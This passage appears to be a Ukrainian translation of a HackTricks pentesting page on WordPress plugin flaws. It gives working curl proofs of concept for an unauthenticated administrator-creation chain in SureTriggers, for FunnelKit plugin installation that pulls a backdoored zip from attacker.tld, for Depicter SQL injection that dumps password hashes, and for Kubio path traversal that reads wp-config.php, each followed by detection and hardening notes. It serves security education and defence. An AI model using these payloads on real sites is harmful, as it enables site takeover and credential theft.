# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why it’s exploitable
- Чутливий REST route захищений лише низькоентропійним доказом ідентичності (username) або відсутнім permission_callback
- Відсутня перевірка capability; згенерований ключ сприймається як універсальний обхід
Detection checklist
- Grep код плагіна на register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Будь-який маршрут, що видає tokens/keys на основі identity, наданої в запиті (username/email), без прив'язки до автентифікованого користувача або capability
- Шукайте наступні маршрути, які приймають згенерований token/key без серверних перевірок capability
Hardening
- Для будь-якого привілейованого REST route: вимагайте permission_callback, який застосовує current_user_can() для потрібної capability
- Не створюйте довготривалі keys на основі identity, переданої клієнтом; якщо потрібно, видавайте короткоживучі, прив'язані до користувача tokens після автентифікації та повторно перевіряйте capability при використанні
- Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can(
)
Зловживання Nonce gate → неавторизована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)
Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішну перевірку nonce як зелений сигнал і пропускає перевірки прав для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакуючі можуть задовольнити слабку вимогу nonce і досягти RCE, встановивши плагін з бекдором або уразливий плагін.
- Vulnerable path: plugin/install_and_activate
- Недолік: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Наслідок: повне скомпрометування через довільне встановлення/активацію плагіна
PoC (форма залежить від плагіна; лише ілюстрація)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Чекліст виявлення
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Зміцнення
- Завжди трактуйте nonces як CSRF tokens тільки; вимагайте capability checks незалежно від стану nonce
- Вимагайте current_user_can('install_plugins') і current_user_can('activate_plugins') перед виконанням коду інсталятора
- Відхиляйте неавторизований доступ; уникайте експонування nopriv AJAX actions для привілейованих потоків
Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1)
Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації.
- Параметр: s (search)
- Вразливість: пряма конкатенація рядка в WHERE/LIKE clauses; no prepared statements/sanitization
- Вплив: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Шукати (grep) обробники дій depicter-* та пряме використання $_GET['s'] або $_POST['s'] в SQL
- Переглянути кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s
Hardening
- Завжди використовувати $wpdb->prepare() або wpdb-плейсхолдери; відкидати несподівані метасимволи на сервері
- Додати суворий allowlist для s і нормалізувати до очікуваної charset/length
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Прийняття шляхів, контрольованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо включені PHP/лог-файли потрапляють у середовище виконання.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – read wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Чекліст виявлення
- Будь-який handler, який конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
- Шукати патерни traversal (../), які виходять за межі призначеної директорії templates
Зміцнення
- Застосовувати allowlisted templates; вирішувати за допомогою realpath() і вимагати str_starts_with(realpath(file), realpath(allowed_base))
- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() лише для імен файлів (не для повних шляхів)
Посилання
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.